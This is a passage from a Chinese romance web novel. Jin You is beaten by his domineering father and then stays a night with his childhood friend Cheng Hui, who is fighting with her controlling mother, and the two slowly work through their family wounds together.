火锅里咕噜咕噜的翻滚着,她脑袋里也不停的想着以前的靳佑,一切都像是电影画面涌了出来,她夹菜的动作都逐渐变慢,像在沉思。
过了一分钟,她有些犹豫的开口:“我感觉他好像是个……”
*
靳家,一楼客厅。
靳佑回到家,进门就看见靳父正在沙发上坐着,面前放着几份文件。听见脚步声,稍稍掀开眼皮,将面前的文件夹推过去。
“从明天开始,这几个酒店就交给你了,等过段时间还需要出差一趟,到时候你跟公司领导层一起去。”
靳总是儒雅的、和善的、睿智的。
生意场上同样是雷厉风行。
靳父是强势的,说出来的话全是命令。
不容置疑、不容反抗。
同一个人,不同身份,却是截然相反的感觉。
靳佑提脚上前,一言不发的拿起文件夹,算是接受了这一命令。
眼见他拿着文件夹要往楼上去,靳父又说:“以后离程徽远点。一个男人,整天围着一个女人,能有什么出息?你看看这整个岳海市,哪家的富家少爷跟你一样?为了个女人,死缠烂打的,连脸都不要了。”
“以后把心思放在公司上,离女人远点!”
靳佑站在楼梯台阶前。
手里的文件夹捏紧,墨睫遮住了眼底的冷笑。
整个客厅都静的诡异。
父子二人都没说话。
靳父觉得奇怪,皱着眉,坐在沙发上扭过头看去,略有些不满的开口:“怎么,哑巴了?”
靳佑深吸一口气,似笑非笑的开口,声音不大,却足以让靳父听得清楚:“是,我这种人没出息。不像靳总,事业有成,家庭嘛……”
“落得个离婚收场,最想要的大儿子,判给了前妻。最讨厌的小儿子不听话,却判给了靳总。还以为靳总能有什么本事管好小儿子呢,结果也只是使用暴力、威胁进行压制。”
“如果这就是靳总所说的有出息,那我还是别有出息了。”
他轻描淡写的说出这些话,每一个字都像是在火上浇油,听的靳父眼底肉眼可见的阴沉下来。
佣人们连喘气都刻意的压住声音。
生怕发出一点动静。
“哼。”靳父自鼻腔发出一声低笑,唇角依旧紧绷如线,目光敛回,双手撑着膝盖站起身,“行啊,出国几年是有出息了,现在都敢跟我这么说话了。”
说完,客厅内又静了。
靳佑没有上楼,似乎是在等着将要到来的暴风雨。
垂下的手,莫名的在抖。
在国外的时候就已经想到了,有朝一日是要反抗的,只是没想到这一天来的这么突然。
恰在此刻,低沉的声音从身后传来:“去书房跪着。”
暴风雨还是来了。
一个等待宣判的犯人,在听到判决后,手反而不抖了。
书房在一楼,常年不上锁。
但也没有佣人敢进去打扫,除非有靳父的准许。
推开门,屋内的沉香味扑面而来。
这里是书房,但还供奉着一尊财神爷。
靳父偶尔前来上香。
跨进屋内,即便时隔四年,但他还是熟练的跪在蒲团上,文件夹顺手放在地上。
身后的门打开又关上。
靳父不知道是从哪里找来一根拐棍,拿着走上前。
他声音犹如老钟低沉,在靳佑的背后响起:“我供你吃穿住行,供你出国读书,让你过上多少人羡慕的日子,就是为了让你这么跟我说话的?”
父权,最容不得挑衅与反抗。
而靳佑的话,像是一根长长的针,狠狠地刺入了靳父的太阳穴,疼得他怒火直冲天灵盖。
此刻看着靳佑跪的笔直都觉得厌烦。
他要他低头、要他弯腰。
就是不准他就这么笔直的跪着。
可又要他有出息,要他以后接手靳家的生意,要他昂首挺胸、挺直腰杆的站在生意场上。
前后矛盾。
靳父只觉心烦意乱,怒不知所起。
只知道靳佑欠教训。
“砰——”
拐棍狠狠地打在他的后背,安静的书房内,发出一声闷响。靳佑身子晃了下,垂下的手攥成拳头,上身依旧笔直。
他一声没吭,却也更让靳父生气。
求饶也比不说话要好!
靳父又说:“我要是知道你出国这几年回来会变成这样,当初我就不该让你出国,我就该把你送去一个穷乡僻壤,让你过几年苦日子,你就知道你现在过的有多好了。”
“不识抬举、不懂感恩,这就是你在国外学到的?”
话落的刹那,再一次举起拐棍朝着靳佑后背打去。
他甚至还故意挑同一处位置打。
“砰——”
又是一声闷响,靳佑强忍着疼痛,依旧没出声。却疼的双眼骤然紧闭,就连垂下的手也死死地攥着拳头。
“早知道你这么不成器,当初就不该生你!就不该让你这种人来到这世界上!没出息的东西,你要是能有你大哥一半优秀,我也不至于这么操心!”
说着再一次举起了拐棍。
好巧不巧,书房外传来了佣人的声音:“大少爷。”
是靳承回来了!
靳父看向门口,愣了两秒。眸光一转,又看向跪在地上的靳佑,高举在空中的拐棍慢慢放下,犹如高高在上的掌控者似的开口:“你大哥回来了,这一棍就算了。起来吧。”
说完将拐棍扔到墙角立起来。
打开门,像个没事人一样走出去。
靳佑双手撑地,慢慢起身,拿起文件夹走出去。
见二人一前一后从书房出来,靳承问:“怎么了?是公司出什么事了?”
“没事,就是把他叫进去说那几个酒店的事情,往后那酒店也都交给他打理。省的整天去打扰小徽,也老大不小了,整天这么死缠烂打的,算怎么回事?”
在靳承面前,靳父又像是换了个人。
说话的口气更是少见的温柔和善,是靳佑从来没有得到过的。
可面前这一幕“父慈子孝”的场景,却更让靳佑觉得窒息,似乎只有去程徽身边,才能感觉他自己是活着的。
“我还有事,出去一趟。”
靳佑连一秒都不想久留,捏着文件夹,阔步从两人身侧走过,直奔门口。
似乎走慢一步,都会窒息而亡。
*
晚上十一点,程徽和程禧吃过饭,又一起逛了商场,买了几件衣裳和首饰。
过后程禧又开车把她
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送回公寓。
但车子停在小区门口,却看见一个熟悉身影。
正是靳佑!
他只是站在小区门口,仰头看着程徽房子的方向,没有往前跨出一步,像是不打算进去。
程禧看着他的背影,冲着程徽使个眼色,小声说:“阿佑这么晚来找你,应该是有事,你别跟他吵。”
“还有,别忘了你自己说的话,不要总是靠眼睛看人。你的感觉不会骗你,好好跟他沟通。”
程徽面上不情愿,可还是嗯了声,“知道了。”
从后排拿了程禧给她买的几件衣裳和首饰,打开车门时发出动静,引的靳佑回头看去。
见是程徽回来了,靳佑信步走近,而送她回来的程禧也正笑着透过车窗口冲他说:“阿佑,好久不见。”
以前靳佑经常去找程徽,自然也经常见到程禧。
年少时,他随着程徽喊一声姐。
现在也依旧如此。
“姐,好久不见,”他爽快的应了声。
正要弯腰,可后背的伤却疼的他嘴角不受控的抽了下。
生怕被看出端倪,他又赶忙站直身体,笑着说:“回来这么长时间,还没有正儿八经去程家拜访过,等改天,叔叔阿姨都在家的时候,我一定去一趟。”
程禧笑着点头:“好。那我就先回去了,小徽就交给你了。”
说完又冲着程徽笑笑,眼神别有深意。
程徽明白她的意思,几不可查的点头。
程禧的车子驶出,逐渐离开二人的视线,程徽看向靳佑侧脸。
“你大晚上的来干什么?有事?”
“嗯,想借宿,程二小姐赏个面子,让我在你这住一夜。”
“不赏。”抬手一指,她努努下巴,“那有酒店,不想住酒店就回去,我这不能让你住。”
她这小公寓是十八岁的时候姐姐送的生日礼物。
面积不大,一室一厅,正好够她一个人住。
怎么可能让靳佑住进来?
“我睡沙发。”
“那也不行。”
程徽拎着东西就往小区走,靳佑却像个狗皮膏药一样黏上去,丝毫不管程徽到底是同意还是拒绝。
他边走边说:“我帮你拎东西,你让我借宿一夜。”
“不可能。”
“那……住一夜给一万。”
程徽还是摇头。
靳佑继续加价,“两万。”
“程家好歹也是做生意的,你以为我会稀罕两万块钱吗?”两人不觉间走到电梯口,电梯门打开。
她抬脚跨进去,眼见靳佑还要跟进来,登时瞪着眼睛看他,眼神中尽是警告。
靳佑一手挡在电梯门缝上,知道程徽在意什么事,他认真说:“我受伤了,不可能对你怎么样。”
说出受伤的事,算是给自己争取最后一次机会。
“还有,五万住一夜,怎么样?”
*
程徽还是一时心软,答应让他住一夜。
进屋后,又仔细打量着他。
没问出来,但显然还是好奇他到底伤哪了?
“伤在后背。”靳佑说着就要脱掉外套,似乎是要把伤处露出来给她看。
“不用脱了。”程徽转身去倒水,顺口问:“怎么受伤的?”
靳佑看着她的背影,语调散漫:“今天下班正好遇到一个神经病,不知道从哪找到的木棍,朝我后背打了一下。去医院检查过了,没有伤到五脏六腑,只是有点淤青。”
“检查结果在我车里,你要是不信,明天我拿给你看。”
若换了平时,程徽大抵张口就说“岳海市就那么一个神经病还被你给碰上了”,可这话到嘴边又咽了回去。
她不由得想到程禧的问题,脑子里回荡着自己给出的回答——
“我觉得他好像是个身在泥潭的人。缺爱、没有安全感、防备心强。”
很奇怪,连程徽自己都说不清,她为什么会对靳佑有这种感觉。
靳父靳母是离婚了,可靳佑说过,他的父母都很爱他,这种情况按理说应该不算缺爱。靳承又是个温文尔雅的性格,有这样的大哥,应该也会过得很幸福。
不管怎么看,靳佑似乎都不应该给她这种错觉。
但她偏偏就是有这种感觉。
她倒了杯水,却迟迟没端起杯子,半晌,有些疑惑的回头看去。
两人之间相隔不足两米,她定定地看着,四目相对,靳佑明明脸上笑着,可程徽却从他眼里看到了难过。
这是以前她从不会留意到的细节。
程徽笑不出来,莫名感觉怪异。
下意识的想躲避他的目光,顾不得喝水,转身要回屋。
却在将要离开的一刹那,靳佑阔步走近。他似乎再也装不下去,将人拥入怀中。
双臂轻轻的环着她,低下头,顷刻间坚强的外壳碎成渣,落在地上,化成月色铺洒在地。
他像是极度需要安慰和温暖,委屈的呢喃声在程徽耳边响起:“让我抱会儿,就一会儿。”
6. 引贼入室
当晚小公寓内头一次住进来一个男人。
程徽也头一次觉得这套公寓小的让人窒息,屋子里充斥着另一个人的气息,不是姐姐的味道,而是靳佑身上淡淡的清香。
但都已经答应让他住进来了,程徽也只能劝自己,忍一晚就好。
照常从卧室拿了睡衣要去浴室的时候,正要打开门,又垂眼看了看手里的睡衣,转身去拿内衣。
真麻烦,有别人在,她沐浴后甚至还要穿上内衣。
程徽小声嘀咕:“早知道就不该让他住进来。”
说完懊恼的拍了下脑门。
“脑子进水了。”
更要紧的是刚刚靳佑抱她的时候,她真的没有挣扎!
一想到被靳佑抱着的一幕,程徽只觉得耳根发烫,急匆匆的打开卧室的门,像逃命似的进了浴室。
正坐在沙发上靳佑听见动静扭头看去,却只看见她一抹残影,紧接着,浴室的门砰的一声关上,花洒打开,源源不断的水流声传来,与窗外的细雨声交织在一起,彻底的盖住了电视的声音。
靳佑正襟危坐在沙发上,鼻尖萦绕着独属于程徽身上的味道,直到此刻他都不敢相信竟然就这么死皮赖脸的住进来了。
简直像梦一样。
沐浴露的味道从浴室的门缝中溜出来,他不受控的扫了眼浴室的门,但又快速敛回目光。
不行!正人君子怎么能往那边看?
虽说也看不见,但还是不该看!
但下一秒,靳佑微微皱眉,又小声嘀咕:“我什么时候当过正人君子?”
在程徽这,他一向是个流氓无赖加变态。
当什么正人君子!
后背慢慢靠在沙发上,碰到伤处,有点疼,他稍稍嘶了一声,等痛意渐消,又得了便宜还卖乖的说一句:“真是没有防备心,连我这种人都能放进来。”
可惜程徽没听见,否则今夜一定会把他赶出去!
*
等程徽从浴室出来,冲着正盯着她看的靳佑指了下浴室,“洗澡,不洗不能睡我沙发。”
“我没有睡衣。”
程徽进卧室,找出一身浴袍,又拿出一张毯子,“穿这个,晚上睡觉盖毯子。”
靳佑接下后故意叹气,欠欠儿的说:“你这边应该帮我准备几套睡衣,没准备就算了,等我下次来,一起带来。”
“?”
程徽觉得手有点痒,想动手。
但看在文明二字的份上,忍了,皮笑肉不笑的看着他:“别得寸进尺。”
要不是看这人受伤了,她怎么可能会让靳佑住进来?现在竟然还想在她这放睡衣。
痴心妄想!
“我得寸进尺也不是头一次了。”靳佑拿着睡衣往浴室走,一手拿着浴袍,一手解衬衣扣子。
还没进浴室,最上面的三颗扣子都已经解开,纯白色的衬衫与小麦色的肤色形成极大反差,胸肌若隐若现。
再往下只怕连腹肌都能露出来了。
程徽严重怀疑他是故意的,但意料之外的是……这人的肌肉好像练得挺好。
明明是再简单不过的白衬衫,穿在他身上却格外的有型。
耳根发烫,程徽赶忙转身回了卧室。
房门砰的一下关上。
只留靳佑在门口笑得一脸不值钱。
*
秋天入夜微凉,程徽躺在卧室,裹着被子,看着星空灯投射出来的一室星光,耳边听着窗外的细雨声。
许是下雨的错觉,只觉得今夜整个公寓都弥漫着潮湿。
而潮湿中,夹杂着她和靳佑身上的香味。
两人身上的淡香味纠缠在一起,似乎再难分辨出是谁的。
床头的闹钟上正显示着——02:36
程徽失眠了,全无睡意。换了平时怕是早就起来去客厅看电视了,可现在靳佑在客厅,她不方便去,只能一遍遍的属羊。
“徽徽。”
从客厅传来一声喊,声音不大,正好能被失眠的程徽听见。
她不说话,目光紧盯着门口。
“徽徽。”靳佑又喊一声。
程徽颦眉。
这小子大晚上的抽什么风!
但她依旧不说话,似乎就是不想让靳佑知道她失眠了。
不出所料,正在客厅内的靳佑又接着喊:“徽徽。”
“干嘛!”程徽没好气的回了一嗓子。
客厅,小夜灯发出微弱的暖光,依稀可见靳佑两手交叉枕在后颈。这张两人座沙发,根本不适合他躺,小腿只能耷拉在外面,身上盖着程徽找来的毯子,又香又软。
像是盖着一块巨大的棉花糖,他心里的那点苦,也被棉花糖的甜遮掩过去了。
此刻即便是被程徽吼了一嗓子,靳佑依旧心满意足,又十分欠揍的回了一句:“没事,我就想知道你有没有睡着。”
程徽:“……”
让靳佑来这住一夜,一定是她今年最后悔的事情。
这小子脑回路多少是有点不正常!
至少是欠揍的!
但好在靳佑没再喊她,程徽也不知道自己是什么时候睡着的。反正现在她因为想从程家的公司离职,却被程母逼着不准离职,导致程徽现在在姐姐的准许下,根本不用去公司上班,自然也就不用考虑第二天去上班的事情。
毫无意外,一觉睡到自然醒,床头的闹钟上显示已经十点多了。
盯着天花板看了三分钟,才想起来昨晚似乎是让靳佑留宿在她这了,程徽打着哈欠起床,等穿好内衣睡衣才从卧室里出来。
见客厅没有靳佑的身影,程徽又试探的喊一声:“靳佑?”
没有回应,看来是走了。
程徽不放心,还特意去门口看了鞋子,确定靳佑鞋子已经穿走了,她才抬脚往洗手间走去。
然而从沙发边上经过时,忽地驻足——
她盯着空空如也的沙发看了足足十秒,又快步往洗手间去,甚至连浴室也都看了。
她的浴袍呢?她的毯子呢?!
这是被偷了?!
“这小子怎么还偷东西呢?太过分了!”
程徽直奔卧室床头的手机,打开后就看见靳佑发来的消息。
靳佑:【毯子和浴袍我拿走了。】
消息发的理直气壮,还没给钱。
不止是毯子和浴袍的钱没给,连昨天晚上自己亲口说的在这住一夜给五万的钱,也没给!
程徽不稀罕那点钱,但这种来借宿还顺走东西的行为,恐怕也就靳佑能干出来这事了。
正在气头上,靳佑忽地发来消息:【中午过来拿钱,要多少给多少,顺便陪我吃顿饭。】
*
四十分钟后,程徽气的在程禧办公室内来回踱步,红唇一张一合,把靳佑的恶劣行为统统说了出来。
程禧坐在老板椅上,掌心之间横向抵着一支钢笔,满眼宠溺的看着炸毛的妹妹。
“我好心让他在我那借宿一晚,他竟然还偷走了我的浴袍和毯子!而且昨晚是他自己说的在我那住一夜,给五万,现在要我亲自去拿,还要我去陪他吃顿饭,说什么要多少给多少!”
“太过分了,他拿我当什
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么了!”
她双手叉腰,眼神里藏不住的怒火,像是恨不能立刻冲到靳佑面前跟他拼了。
但下一秒,又突然转身问:“姐,你说我要是张口要一个亿,是不是不合适?”
程禧办公室内传出来肆无忌惮的笑声,办公室外路过的助理和秘书闻声看向门口,彼此对视一眼,笑了笑。
众人皆知程禧和程徽是同父异母的姐妹,但也都知道这姐妹二人关系好。
也只有程徽到来,才能让程禧这么高兴。
办公室内,程禧笑笑说:“一个亿,他最多给你打欠条,以后还能借这件事经常去找你。”
“不过,几万块钱的小钱就别要了,你又不是真的稀罕他那点钱。”
“凭什么不要!”
程徽原本是不打算要的,可那人拿走她的毯子和浴袍,又说让她去陪着吃顿饭,更是放出大话说她要多少给多少,都这样了她怎么可能不要?
“大不了要到钱再捐出去!”
她这火爆性子在靳佑那,还是和以前一样,一点就炸。
程禧故意调侃,“阿佑回来以后,你情绪好像有点不稳定。”
有吗?
程徽仔细想了几秒,似乎还真是这样。
可也怪不得她,每次都是靳佑那人故意挑事。
又粘人,又气人。
“而且你还准他去你公寓里住了一夜。”
程禧笑的耐人寻味,“你这种行为,其实算是准许他进入你的领地了,不出意外的话,你们之间还会有下一步发展。”
“我、我只是看他可怜!”
“不止是可怜他那么简单。”程禧语气淡然温柔,“你至少是相信他的,而且他不会让你觉得不安。”
两人从十岁相识,到现在已经十几年了。
感情上自然也不是一两句能说清楚的。
程徽想反驳她的话,却又不知道如何反驳。正不知道怎么开口时,手机简直像救星一样震动起来。
几乎没仔细看来电号码,就直接接通。
电话那头传来女人的声音:“程小姐,您之前在我们这订制的首饰已经送到店里了,您看是要我们给您送过去,还是您亲自来取呢?如果需要我们给您送去,麻烦您给我们一个地址。”
“我这就过去。”程徽简直像是抓住了救命稻草,说的又急又快。
女人应了声好的。
电话挂断,程徽急匆匆就要走。
“姐,我还有点事就先走了,你这边要是有什么事给我打电话。”
背上包就往门口去,走的格外着急。但跨出去办公室后,又突然打开门探头看向程禧,“我跟他根本不可能有下一步发展!绝不可能!”
随即,办公室的门才真正被关上。
程禧看着门口,垂眼笑笑。
目光无意中看到办公桌上的相框,里面放着的是她亲笔画出来的简笔画——
一个小女孩正冲着对面的一只小狗大叫!
那是程徽五岁时的一幕,她们母女三人出门,一只小狗突然冲着程徽大叫,程母和程禧还没来得及上前将程徽抱起来,只见程徽就气鼓鼓的冲着那只狗,大喊:“汪!汪汪!”
街上,一个小女孩和一只狗,在吵架。
程禧看着这一幕,大笑不止。
程母却黑了脸。
那一年程禧就明白,她这妹妹,是有点脾气的,是好事。
那一年程母也明白,她这亲生女儿是该好好管教了。
至少她想象中的女儿是优雅乖巧的,实在不该做出这种不雅的行为。
7. 病友
岳海市东区,繁华地段,各大奢侈品在这四周几乎都能买到。程徽拿到订制的一套首饰后,去附近闲逛。
身影从某知名珠宝首饰店门前走过,手机铃声恰好响起,店内的人也循声看过来。
程徽?她怎么在这?
靳佑勾唇,目光敛回,快速在纸张上写下靳家的位置以及管家的联系方式,“这些首饰送到靳家,交给管家。”
食指与中指摁着纸张往店员面前一推。
随即头也不回的离开了。
熟悉身影走在前面,靳佑长腿迈开,不多时就追了上去,却见程徽忽地停了下来——
“是!我是有错,我错就错在不应该见靳佑那混蛋!但我俩不是男女朋友关系,您为什么就是不相信呢?”
程母打来电话质问,为什么昨天没有去见刘总的孙子,为什么刘总的孙子说她和靳佑是男女朋友关系。
质问的口气,听的程徽气不打一处来。
但还是耐着性子说这一切都是靳佑搞的鬼。
然而程母依旧问出一句“你别把什么事都推到别人身上,这件事你敢说你没有一点错”。
程徽顿时压不住火,即便是在繁华的东区,此刻说话的声音也大了不少。
跟在后面的靳佑听的一清二楚。
却没有上前,仅仅是和程徽保持两米的距离。
见程徽迈步往前走,他才接着跟上去。
“你要我怎么相信你!昨天有人拍到你们两个在靳家公司楼下搂搂抱抱,现在证据确凿,程徽,你要我怎么相信你说的话?”
程徽恍然想起昨天在骞朝集团楼下是被靳佑抱过。
可那又怎么样?
“这算什么证据确凿?就只是抱一下,算什么男女朋友?”
“抱一下还不算证据确凿?那怎么才算证据确凿?”
“有本事就拍到床照!”
程徽说的又急又快,路过的人纷纷偷投来目光。
跟在后面的靳佑阖了阖眼,眼底藏着笑。
真敢说啊。
“你——”
程母差点一口气没上来,咬牙问:“你是不是要气死我?”
程徽比她还生气。
亲妈信别人却不信她,她怎么可能不生气!
“我说错了吗?没拍到床照就说我们是男女朋友,我就好奇了,拍照的人怎么就知道我们的关系呢?还是说全都是您的猜测呢?不过,您就没想过另一种可能吗……说不准靳佑只是我的地下情人呢?”
“或者,我们只是炮友呢?”
尽管四周的人不多,但安静的环境下,却还是衬托的她声音清晰洪亮。
靳佑几不可查的扬起唇。
三年不见,她是越来越大胆了。
至少和程母的相处方式,变了。
“程徽——”
一向要求自己优雅的程母,此刻却被她气的大喊:“你知不知道你在说什么!”
程徽气极反笑,满不在乎的说:“当然知道,我只是在说几句实话。您不就是想听这些回答吗?可以,我实话告诉您,其实昨天晚上靳佑还去我那小公寓住了,该发生的、不该发生的都发生了。我和靳佑之间就是情人关系,而且是见不得光的那种。”
“不过您也不用担心,联姻的事情照旧,您还可以给我安排相亲对象,有合适的,到时候我也考虑结婚。家里一个、外面一个,这样最合适。”
“如果外面是两个就更合适了,我们四个人,正好还能打麻将。”
惊世骇俗的言论,引的四周的人都看向程徽。
程徽却像是没察觉似的,她只知道这些都不可能是程母想听的话,但她还是故意这么说。
耳边的手机里传出程母的质问。
“程徽,你是不是非要把我气死才甘心!”
“是您先不相信我的。”
“你要我怎么相信你?”
“做母亲的,相信女儿,这很难吗?”
才刚拿到手的订制首饰,被精美包装过。
上面由她亲笔写下:生日快乐,亲爱的妈妈。
这是她亲手设计画图、花高价找人订制出来的首饰,是为了半个月后程母生日准备的礼物。
可现在这礼物简直就像是个笑话。
电话那头没了声音,程徽却气的眼尾泛红,又轻轻问一句:“很难吗?”
电话那头依旧安静,过了足足一分钟,程母才带着一分很难察觉的歉意开口,“不是我不想相信你,是照片摆在眼前,你让我怎么……”
“如果是您另一个女儿和其他男人拥抱的照片摆在眼前,您也会怀疑拥抱的两个人是男女朋友,并且就像刚刚一样质问她吗?”
她说的是谁,母女二人心里都清楚。
正是程禧。
程母想了几秒才开口:“小禧和你不一样,她——”
“看来不会。”
程徽心烦意乱,不想再听她的解释。
反正解释到最后,无非就是说她和程禧不同。
那不是她想要的答案。
程徽说:“您不会笃定姐姐和那人是男女朋友关系,您一定会等姐姐跟您说这件事,而且会相信她的话。至少,不会像对待我一样对待她。”
“其实我有时候真的想——”
声音戛然而止,她深吸一口气,逼着自己把后半句话咽了回去。
有些话一旦说出来,就没有转圜余地了。
哪怕是亲母女。
可心底里的失落还是让她难过,难过像是整个人憋在水里,喘不上气,快要窒息。
“算了,我还有事,挂了。”程徽松一口气,但说话的声音里藏不住的失望。
说完,直接挂断电话。
她盯着手机,说出了没能说出来的后半句话:“我如果不是您的亲生女儿,该多好。”
程母对程禧的包容大度,是她从来都没有得到过的。
可她也清楚,包容大度的背后是后妈的迫不得已。
但即便如此,她依旧羡慕程禧。
至少程禧不是个傀儡,也没有被掌控。
总好过她,活的像个傀儡,什么事都要听安排。
她站在街道上,迟迟没有将手机收起来,更没有察觉靳佑正一步步走近。
直到身侧忽地一暗,程徽才仰头看去——
靳佑?!
“你怎么在这?”他该不会又找了人盯着她吧?
“正好今天有空,来附近帮阿姨挑件生日礼物。”靳佑挑眉,垂眼看她,笑的别有深意,“我什么时候成你地下情人了?”
程徽一张脸唰的红了个彻底。
竟然被他听见了!
“你还有脸问,还不是因为你昨天抱我的时候被拍下来了,照片甚至还发给了我妈!”程徽提起这事就一肚子火,气的转身就走。
靳佑紧跟上来,玩笑似的口气问:“你真的想要找一个老公、两个情人?”
程徽白了他一眼,没说话。
但眼神却像是在说:你有病吧?!
毕竟没病也不可能问出来这话!
程徽故意说:“是,一个老公两个情人,正合适,还能凑在一起打麻将。赢的人侍寝,输的人睡沙发。”
明知道她只是在开玩笑,可靳佑却还是配合着她的话说:“我要做正室。”
“?”
程徽顿足,看向靳佑的眼神已经骂的很脏了。
但还是没忍住说出一句:“真有病。”
“你也有病,我们是病友。”
同样被家庭伤的遍体鳞伤的病友。
靳佑垂眼看她,“病友,考虑一下中午吃什么?”
“不考
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虑,也不陪你吃!”和程母的一通电话,也让她彻底没心思找靳佑拿钱了。
只想离这疯子远点!
靳佑却依旧像个狗皮膏药一样黏上来,紧跟在她身边,“你毯子还要吗?”
“不要了。”
“浴袍呢?”
“也不要了。”
“钱呢?”
“全都不要了!我要你离我远点!”程徽也发现了,但凡和靳佑粘上,她的情绪就不稳定,常常处于炸毛状态。
可任凭她怎么加快脚步、甚至都跑起来,却还是被靳佑轻而易举的跟上。
靳佑看着她疾步前行的脚步,眼尾的红还没有彻底淡去,依稀能看见淡淡的红,一时间只觉得她像只兔子一样,看得他笑出了声。
只是这笑声却也让程徽泄了气,索性不跑了,任由这狗皮膏药跟着。
“徽徽,你怎么像是只兔子?”
“你才像兔子呢!”
“兔子的情人当然是兔子,难不成还能是老虎?”
程徽满脑子都是程母那些话,实在没力气和他斗嘴,双手抱臂往前走。
靳佑垂眼看着略有些颓丧的程徽。
如果难过具象化,她这只兔子的耳朵,此刻正在慢慢垂下来。
他抬起手,悬空放在她的后脑,想要帮她这只兔子顺毛,却还是把手放下了。
关于程母、关于程家,程徽不可能不在意。
而他在这些事上,却无能为力。
“徽徽,你记不记得我跟你说过……”程徽仰头看他,靳佑的声音也逐渐温柔,“我会爱你,永远,无条件的爱你。”
*
十岁那年,两人相识,成了朋友。
十一岁那年,程徽找到了离家出走的靳佑。
那年他嘴硬,不愿意说离家出走的真实原因,只跟她说觉得好玩。
程徽没怀疑,随口说了句:“我还以为你是被你爸爸妈妈打了呢,看来不是。”
她猜对了一半。
因为只有爸爸打了他,那时妈妈带着哥哥出国了。
可十一岁的靳佑已经知道了脸面二字。
他嘴硬的说着最向往的一幕:“怎么可能?我爸爸最疼我了,还有我妈妈,也很疼我,我要什么都给我买,从来不会批评我!对了,还有我哥哥,我哥哥跟你姐姐一样好!”
在程徽和靳佑的认知中,程禧就是最好的人了。
能和程禧比,自然也是最好的人。
程徽满眼羡慕的看着他:“你们家真好。不像我们家,我只有考到好成绩、练琴练得好、舞蹈练得好,我妈妈才会爱我一会儿。”
“而且我爸爸很忙,我很久才能见他一次,他根本不陪我。”
年少的她尚且不懂怎么表达,只是觉得妈妈爱了她一会儿,似乎就是已经是天大的奖励了。
而那份爱,也仅仅是不批评、是勉强缓和的脸色。
她满眼憧憬的说:“我要是生在你们家该多好,再把我姐姐也带过去,这样我就可以拥有很多很多爱了。”
那天,十一岁的靳佑说:“不用生在我家,你也可以有很多爱。以后我会爱你,会一直爱你,无条件爱你。你考试考不好,我也会爱你。”
树荫下,一个不懂爱的小男孩许下诺言。
到现在也始终没变。
然而此刻的程徽……
“你说过吗?我怎么不记得?”程徽眨了眨眼,直勾勾的看着他,一副茫然的模样,仿佛真不记得了。
但她这演技却骗不过靳佑。
“别装了,你记得这件事。”
她记得,只是不想给他回应而已。
靳佑都明白。
可就算是这样,他还是说:“我现在还是会无条件爱你,你永远都不会是一个人。”
他会和程禧一样,永远爱她。
8. 躲
夜晚,岳晖华庭。
主卧里手机响个不停,程徽却在浴室里一展歌喉,没能遗传到程母的好嗓音,反倒是遗传了程父的五音不全,朋友曾说过她,唱歌和念诗,能画等号。
等她穿着浴袍出来,又忙着去擦身体乳、吹头发,客厅内放着悠扬婉转的音乐,房门紧闭的主卧,彻底将手机铃声隔绝了。
直到程徽忙完,推开主卧的门,手机铃声恰好戛然而止。
卧室内点着鹅梨帐中香,平心静气安神用的。
程徽坐在床上,盘腿打坐,伸手摸到床头柜上的手机,打开一看:“嚯!”
十几个未接电话,还有二十多条短信,微信上的消息更是多——这些全是程禧和靳佑的杰作。
率先给姐姐打去电话,接通后,程徽喊了一声:“姐。”
电话那头的程禧明显松一口气,但即便是着急担心,却还是轻声询问:“给你打电话怎么不接?在忙?”
“嗯,搬来岳晖华庭这了,刚忙着收拾东西,又泡了个澡,手机没带在身上。”程徽慢吞吞的解释,又从床上下来,穿着拖鞋往客厅去。
冰箱打开,拿出一罐啤酒。
食指扣住拉环,“啪”的一声打开。带着气泡的冰镇啤酒入喉,缓解了屋内暖气的热。
“怎么想起来搬到岳晖华庭了?”
岳晖华庭的房子是程父送的,两百多平的房子,她又不愿意请保姆,一个人打扫起来也累,所以这套房子对她来说远不如小公寓舒服。
但这次,为了躲着靳佑,她只能硬着头皮先搬来岳晖华庭。
程徽一手拎着酒,一手拿着手机抵在耳边,慢悠悠的往卧室去。
“这边房子半年前就装修好了,也该来这边住一段时间了,不能总让这房子空着。”程徽进了卧室,鞋子一甩,踩着毯子朝床走近。
啤酒放在床头柜上,整个人仰躺在床上,像是陷入了一团鹅梨帐中香味道的棉花糖里,放松到了极致。
电话那头窸窸窣窣的传来细微动静。
猜到程禧应该在忙,程徽也不绕弯子,直接问:“姐,你是不是有什么事?”
“不是我有事,是你有事。”程禧一副无可奈何的口吻,“就这么点小事,你躲什么?至于吗?”
“什么小事?这分明就是大事!而且他跟狗皮膏药一样,我不躲怎么办!”
一声轻笑在耳边响起,程徽嘟着嘴,不服气的问:“你笑什么,难道我说的不对吗?”
“我笑你不打自招。”
“……”
程徽抬手拍了下嘴。
这张嘴,说话实在是快,尤其是在程禧面前,是半点心事都藏不住。
“阿佑给你打电话,你也不接,发消息你也不回,去你住的公寓找你,你也不在。他很担心你,你给他回个电话。至于你们两个之间的事情……”尾音拉长,程禧说:“我不插手,你们自己解决。不过,我还是要劝你一句,遇到事情就躲着,是解决不了事情的。”
可是不躲着能行吗?
那天他平静的说出会无条件爱她,远比之前的每一次拥抱,都来的更猛烈。
平静的心底泛起涟漪,分不清到底是什么感觉。
她只知道想躲着他。
此刻听程禧这么说,程徽只能可怜巴巴的说:“姐姐~要不你还是插手吧,我不想给他打电话。”
“我只要跟他说话就想炸毛、想生气,我也不知道为什么。为了避免我们两个在电话里吵架,这次就劳烦姐姐联系他吧。”
理由找的充分,一向宠着她的程禧这次也不例外,笑笑说:“好,这次我给他打电话,下次再有这种事你自己解决。”
“我就知道姐姐最好了!”程徽噌的一下从床上坐起来,激动地拎起啤酒喝了一口。
“不过……”程禧突然话锋一转。
程徽皱起眉,姐姐该不会是要反悔吧?
却听程禧说:“你也该想想自己为什么会在靳佑面前就想生气、想炸毛了。”
“还能是为什么?当然是他故意惹我生气了!靳佑根本就是个混蛋,还偷我毯子和浴袍!”要不是那天没心情去要回来,她绝不可能就这么让靳佑得逞的。
“他之前还找人盯着我,十足的混蛋!”
仅仅是提起靳佑,程徽的情绪就有了起伏。
好不容易营造出来平心静气的氛围感,顷刻间荡然无存。鹅梨帐中香和泡浴,遇到靳佑两个字都没用。
“可我觉得,容易炸毛的你,才是你。”
程禧仅用一句话,就说的程徽又静了下来。
她下意识想反驳,却也只是说了没有任何说服性的废话,“我才不可能这么暴躁,我平时都还算冷静,至少在靳佑回国之前我算是冷静的!”
“表面的冷静,是可以装出来的。”
